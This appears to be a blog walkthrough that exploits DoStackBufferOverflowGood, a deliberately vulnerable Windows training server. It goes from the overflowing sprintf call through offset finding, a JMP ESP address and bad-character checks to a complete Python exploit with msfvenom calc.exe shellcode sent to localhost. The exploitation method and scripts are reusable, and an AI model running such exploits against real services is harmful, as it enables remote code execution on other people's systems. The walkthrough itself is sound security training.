DoStackBufferOverflowGood

Walk through of exploiting DoStackBufferOverflowGood Sample from CrikeyCon 3

Where can you find this sample?

GitHub - DoStackBufferOverflowGood

YouTube Video From Creator at CrikeyCon - Link

Crashing Application

Luckily for us, we have access to the source code of the program so let us review what is going on.

The main function is initializing a socket, setting up TCP, and kicks off an infinite loop which will then listen for connections and handle connections by calling handleConnection()

// Initialize Winsock
	WSADATA wsaData = { 0 };
	int result = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (result != 0) {
		printf("WSAStartup failed: %d\n", result);
		return -1;
	}
	
	//
	// Code Snipped
	//
	

	// Setup the TCP listening socket
	if ((bind(listenSocket, ainfo->ai_addr, (int)ainfo->ai_addrlen)) == SOCKET_ERROR) {
		printf("bind() failed with error: %d\n", WSAGetLastError());
		freeaddrinfo(ainfo);
		closesocket(listenSocket);
		WSACleanup();
		return -1;
	}
	freeaddrinfo(ainfo);

	//
	// Code Snipped
	//
	
	// [+] handle connections
	// borrowed from http://stackoverflow.com/a/15185627
	while (1) {
		// Accept a connection
		SOCKET clientSocket;
		if ((clientSocket = accept(listenSocket, NULL, NULL)) == INVALID_SOCKET) {
			printf("accept failed: %d\n", WSAGetLastError());
			continue;
		}
		printf("Received connection from remote host.\n");

		// Create a thread to handle the connection
		// Pass connection to handleConnection()
		_beginthread(&handleConnection, 0, (void*)clientSocket);
		printf("Connection handed off to handler thread.\n");
	}c

handleConnection() will read data sent by a client over the network and store it within recvbuf. Which will then call doResponse()

void __cdecl handleConnection(void *param) {
	SOCKET clientSocket = (SOCKET)param;

	// Receive until the peer shuts down the connection
	// recv spooling borrowed from http://stackoverflow.com/a/6090610
	// in a loop, we recv() off the network, handle complete lines, then shift the remainder down
	char recvbuf[RECVBUFSIZE] = { '\0' };		// RECVBUFSIZE = 58623
	size_t recvbufUsed = 0;
	const char* msgPleaseSendShorterLines = "Please send shorter lines.";
	const char* msgBye = "Bye!";
	while (1) {
		
		//
		// Code Snipped
		//

		// starting at recvbuf[0] look for newlines, pass each found line off to doResponse()
		char *line_start = recvbuf;
		char *line_end;
		while ((line_end = (char*)memchr((void*)line_start, '\n', recvbufUsed - (line_start - recvbuf))) != 0)
		{
			// we found a line

			// null-terminate it
			*line_end = '\0';

			// if the user is done with us, disconnect them
			if (strcmp(line_start, "exit") == 0) {
				printf("Client requested exit.\n");
				send(clientSocket, msgBye, strlen(msgBye), 0);
				closesocket(clientSocket);
				return;
			}

			// process the line
			doResponse(clientSocket, line_start);

		//
		// Code Snipped
		//
	}
	closesocket(clientSocket);
	return;
}

doResponse calls sprintf() to build a response to be sent to the client. sprintf() is where our vulnerability occurs. After the call to sprintf() it will store the result in response which has only been allocated 128 characters. However, the recvbuf is able to store up to 58,000 characters. By sending more than 128 characters in our response we should induce a stack buffer overflow

int __cdecl doResponse(SOCKET clientSocket, char *clientName) {
	char response[128];

	// Build response
	// Vulnerability lies here
	sprintf(response, "Hello %s!!!\n", clientName);

	// Send response to the client
	int result = send(clientSocket, response, strlen(response), 0);
	if (result == SOCKET_ERROR) {
		printf("send failed: %d\n", WSAGetLastError());
		closesocket(clientSocket);
		return -1;
	}
	printf("Bytes sent: %d\n", result);
	return 0;

With this information, we can create a basic exploit code to reliably crash our application. Here is what it would look like:

import socket 

server = '127.0.0.1'
port = 31337

# Response that is sent to the server
payload = b"A"*150

# Creates socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Makes connection to the server
connect = s.connect((server, port))

# Sends payload to the server
s.send(payload + b'\r\n')

# Prints the returned response from server
print(s.recv(1024))

# Closes the connection to the server
s.close()

Before I ran my exploit code I attached WinDbg to the process to catch the exception as you can see by WinDbg did indeed catch an exception Access Violation

This tells us some important information such; as we can over-write EIP & EBP. Our next goal will be to determine where within our junk data EIP is over-written.

Finding EIP

To find where EIP is over-written in our junk data we can use mona! The command we'll be using is

!py mona pattern_create <size of pattern>

In our case it will look like this:

!py mona pattern_create 150

The output should look like this:

In red is our cyclic pattern that was generated. It is best to copy the pattern from a text file and not from the command output as truncation is possible.

With this pattern we can slap this in our exploit code, so now our code should look like this:

import socket 

server = '127.0.0.1'
port = 31337

# Response that is sent to the server

# Cyclic pattern generated by mona
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"

# Creates socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Makes connection to the server
connect = s.connect((server, port))

# Sends payload to the server
s.send(payload + b'\r\n')

# Prints the returned response from server
print(s.recv(1024))

# Closes the connection to the server
s.close()

Restart our application and attach your debugger of choice. Once attached run your exploit code and check the value contained within EIP. This will be important for us to learn at what byte is EIP being over-written.

We can the value contained within EIP is:

39654138

We can take this value and use mona once again to determine the offset at which this byte sequence occurs. The command will look like so:

!py mona pattern_offset <value>

In our case it will look like this:

!py mona pattern_offset 39654138

This is telling us that position 147 is where we begin to over-write the EIP register. We can test this in our exploit code like so:

import socket 

server = '127.0.0.1'
port = 31337

# Response that is sent to the server
# Junk data holding 146 characters
payload = ""
junk = b"A" * 146
# EIP should hold the value 0x42 or BBBB
eip = b"B" * 4
payload += junk + eip

# Creates socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Makes connection to the server
connect = s.connect((server, port))

# Sends payload to the server
s.send(payload + b'\r\n')

# Prints the returned response from the server
print(s.recv(1024))

# Closes the connection to the server
s.close()

Re-running our application and our exploit and looking at our debugger we should see this:

We now know at what position EIP is over-written. We now need to find a JMP ESP within our application and use that address so that we can jump to the stack which is where our shellcode will be located.

Jumping to The Stack

Again to find the opcodes JMP ESP we can use mona with the following command:

!py mona jmp -r esp

The output will look like so:

This returns two results, we can choose either address I will be using the first one.

One thing to remember when entering this address in your exploit code we need to know about little-endian. This will require us to enter our address backward.

If our address is 0x080414c3 in little-endian it will look like this:
0xc3 0x14 0x04 0x08

We can now update our exploit code to look like so:

import socket 

server = '127.0.0.1'
port = 31337

# Response that is sent to the server
# Junk data holding 146 characters
payload = b""
junk = b"A" * 146
# Address of opcodes JMP ESP
eip = b"\xc3\x14\x04\x08"
# Breakpoint to verify that EIP was over-written properly
bp = b"\xcc"
payload += junk + eip + bp

# Creates socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Makes connection to the server
connect = s.connect((server, port))

# Sends payload to the server
s.send(payload + b'\r\n')

# Prints the returned response from the server
print(s.recv(1024))

# Closes the connection to the server
s.close()

If we now restart our application and run our exploit code again this time instead of getting an access violation error we should hit our breakpoint!

We can see our breakpoint was successfully hit! One last thing we need to do before we add our shellcode and that is to verify bad characters. This is the process of checking all possible byte characters for characters that truncate or in some way mangle our shellcode.

Finding Bad Characters

Once again we can use mona to save us some time. Using the following command we can generate a byte array containing all possible byte characters.

!py mona bytearray 

We can take this byte array and place it within our exploit code like so:

import socket 

server = '127.0.0.1'
port = 31337

# Response that is sent to the server
# Junk data holding 146 characters
payload = b""
junk = b"A" * 146
# Address of opcodes JMP ESP
eip = b"\xc3\x14\x04\x08"
# Breakpoint to verify that EIP was over-written properly
bp = b"\xcc"

bad_chars = (b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

payload += junk + eip + bp + bad_chars

# Creates socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Makes connection to the server
connect = s.connect((server, port))

# Sends payload to the server
s.send(payload + b'\r\n')

# Prints the returned response from the server
print(s.recv(1024))

# Closes the connection to the server
s.close()

Re-running our code and looking at the virtual memory of ESP we can see the following:

In the blue box, we can see our address which we over-wrote. Below that we can see \xcc which is our breakpoint however, we do not see our expected byte array. This means that our code was mangled due to a bad character. If this is the case the last byte that is shown as the next byte in the array is considered a bad byte. In this scenario the byte \x00 is bad. If we update our exploit code and run it again we should see this:

Again in our blue box, we can see the address we wrote into EIP. Then \xcc is our breakpoint. Then finally, we see our byte array however not the entire array. If we look at the array the last byte shown is \x09 which means the byte \x0a is considered a bad character. (As you can see this is an iterative process). Updating our exploit code to also remove \x0a and run our exploit again we see this:

We can now see our entire byte array which means we have found all the bad characters. We can now finally generate our shellcode and fully exploit this application.

Generating Shellcode

For generating shellcode I am going to use msfvenom the tried and true!

The command we are going to use is:

msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a' -f py

After generated we can add it to our exploit code. Our final exploit should look like this:

import socket 

server = '127.0.0.1'
port = 31337

# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a' -f py
shellcode =  b""
shellcode += b"\xda\xd8\xb8\xbf\xf4\x88\x8c\xd9\x74\x24\xf4\x5a\x31"
shellcode += b"\xc9\xb1\x31\x83\xc2\x04\x31\x42\x14\x03\x42\xab\x16"
shellcode += b"\x7d\x70\x3b\x54\x7e\x89\xbb\x39\xf6\x6c\x8a\x79\x6c"
shellcode += b"\xe4\xbc\x49\xe6\xa8\x30\x21\xaa\x58\xc3\x47\x63\x6e"
shellcode += b"\x64\xed\x55\x41\x75\x5e\xa5\xc0\xf5\x9d\xfa\x22\xc4"
shellcode += b"\x6d\x0f\x22\x01\x93\xe2\x76\xda\xdf\x51\x67\x6f\x95"
shellcode += b"\x69\x0c\x23\x3b\xea\xf1\xf3\x3a\xdb\xa7\x88\x64\xfb"
shellcode += b"\x46\x5d\x1d\xb2\x50\x82\x18\x0c\xea\x70\xd6\x8f\x3a"
shellcode += b"\x49\x17\x23\x03\x66\xea\x3d\x43\x40\x15\x48\xbd\xb3"
shellcode += b"\xa8\x4b\x7a\xce\x76\xd9\x99\x68\xfc\x79\x46\x89\xd1"
shellcode += b"\x1c\x0d\x85\x9e\x6b\x49\x89\x21\xbf\xe1\xb5\xaa\x3e"
shellcode += b"\x26\x3c\xe8\x64\xe2\x65\xaa\x05\xb3\xc3\x1d\x39\xa3"
shellcode += b"\xac\xc2\x9f\xaf\x40\x16\x92\xed\x0e\xe9\x20\x88\x7c"
shellcode += b"\xe9\x3a\x93\xd0\x82\x0b\x18\xbf\xd5\x93\xcb\x84\x2a"
shellcode += b"\xde\x56\xac\xa2\x87\x02\xed\xae\x37\xf9\x31\xd7\xbb"
shellcode += b"\x08\xc9\x2c\xa3\x78\xcc\x69\x63\x90\xbc\xe2\x06\x96"
shellcode += b"\x13\x02\x03\xf5\xf2\x90\xcf\xd4\x91\x10\x75\x29"


# Response that is sent to the server
# Junk data holding 146 characters
payload = b""
junk = b"A" * 146
# Address of opcodes JMP ESP
eip = b"\xc3\x14\x04\x08"
# Breakpoint to verify that EIP was over-written properly
bp = b"\xcc"
# No operation opcode used for stability 
nop = b"\x90" * 20

# Final payload
payload += junk + eip + bp + nop + shellcode

# Creates socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Makes connection to the server
connect = s.connect((server, port))

# Sends payload to the server
s.send(payload + b'\r\n')

# Prints the returned response from the server
print(s.recv(1024))

# Closes the connection to the server
s.close()

Re-running our final exploit we should hit our breakpoint and see this:

In the blue box, we can see our breakpoint along with our NOP Sled. After which is our calc shellcode. If we continue execution calc should pop up!

Final Exploit Code

import socket 

server = '127.0.0.1'
port = 31337

# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a' -f py
shellcode =  b""
shellcode += b"\xda\xd8\xb8\xbf\xf4\x88\x8c\xd9\x74\x24\xf4\x5a\x31"
shellcode += b"\xc9\xb1\x31\x83\xc2\x04\x31\x42\x14\x03\x42\xab\x16"
shellcode += b"\x7d\x70\x3b\x54\x7e\x89\xbb\x39\xf6\x6c\x8a\x79\x6c"
shellcode += b"\xe4\xbc\x49\xe6\xa8\x30\x21\xaa\x58\xc3\x47\x63\x6e"
shellcode += b"\x64\xed\x55\x41\x75\x5e\xa5\xc0\xf5\x9d\xfa\x22\xc4"
shellcode += b"\x6d\x0f\x22\x01\x93\xe2\x76\xda\xdf\x51\x67\x6f\x95"
shellcode += b"\x69\x0c\x23\x3b\xea\xf1\xf3\x3a\xdb\xa7\x88\x64\xfb"
shellcode += b"\x46\x5d\x1d\xb2\x50\x82\x18\x0c\xea\x70\xd6\x8f\x3a"
shellcode += b"\x49\x17\x23\x03\x66\xea\x3d\x43\x40\x15\x48\xbd\xb3"
shellcode += b"\xa8\x4b\x7a\xce\x76\xd9\x99\x68\xfc\x79\x46\x89\xd1"
shellcode += b"\x1c\x0d\x85\x9e\x6b\x49\x89\x21\xbf\xe1\xb5\xaa\x3e"
shellcode += b"\x26\x3c\xe8\x64\xe2\x65\xaa\x05\xb3\xc3\x1d\x39\xa3"
shellcode += b"\xac\xc2\x9f\xaf\x40\x16\x92\xed\x0e\xe9\x20\x88\x7c"
shellcode += b"\xe9\x3a\x93\xd0\x82\x0b\x18\xbf\xd5\x93\xcb\x84\x2a"
shellcode += b"\xde\x56\xac\xa2\x87\x02\xed\xae\x37\xf9\x31\xd7\xbb"
shellcode += b"\x08\xc9\x2c\xa3\x78\xcc\x69\x63\x90\xbc\xe2\x06\x96"
shellcode += b"\x13\x02\x03\xf5\xf2\x90\xcf\xd4\x91\x10\x75\x29"


# Response that is sent to the server
# Junk data holding 146 characters
payload = b""
junk = b"A" * 146
# Address of opcodes JMP ESP
eip = b"\xc3\x14\x04\x08"
# Breakpoint to verify that EIP was over-written properly
# bp = b"\xcc"
# No operation opcode used for stability 
nop = b"\x90" * 20

# Final payload
payload += junk + eip + nop + shellcode

# Creates socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Makes connection to the server
connect = s.connect((server, port))

# Sends payload to the server
s.send(payload + b'\r\n')

# Prints the returned response from the server
print(s.recv(1024))

# Closes the connection to the server
s.close()

Hope you enjoyed the walkthrough of exploiting DoStackBufferOverflowGood. Again thank you @justinsteven

Also, check out my GitHub and other blog posts for more content and information!

Last updated